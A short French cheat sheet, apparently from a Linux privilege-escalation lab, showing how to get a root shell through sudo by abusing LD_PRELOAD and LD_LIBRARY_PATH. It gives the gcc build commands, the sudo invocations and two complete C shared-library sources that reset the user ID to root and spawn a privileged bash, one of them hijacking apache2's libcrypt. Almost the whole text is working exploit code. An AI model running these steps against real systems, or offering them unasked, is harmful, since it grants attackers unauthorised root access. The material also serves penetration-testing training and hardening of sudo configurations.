On peut injecter du code lors de l’exécution d’une commande avec sudo en modifiant les variables d’environnement LD_PRELOAD ou LD_LIBRARY_PATH
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
On peut obtenir un root shell en exécutant un programme que l’on peut exécuter avec sudo de cette façon
sudo LD_PRELOAD=/tmp/preload.so program-name-here
preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Une deuxième façon d’obtenir un root shell
ldd /usr/sbin/apache2 (apache2 utilise libcrypt.so)
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2
library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}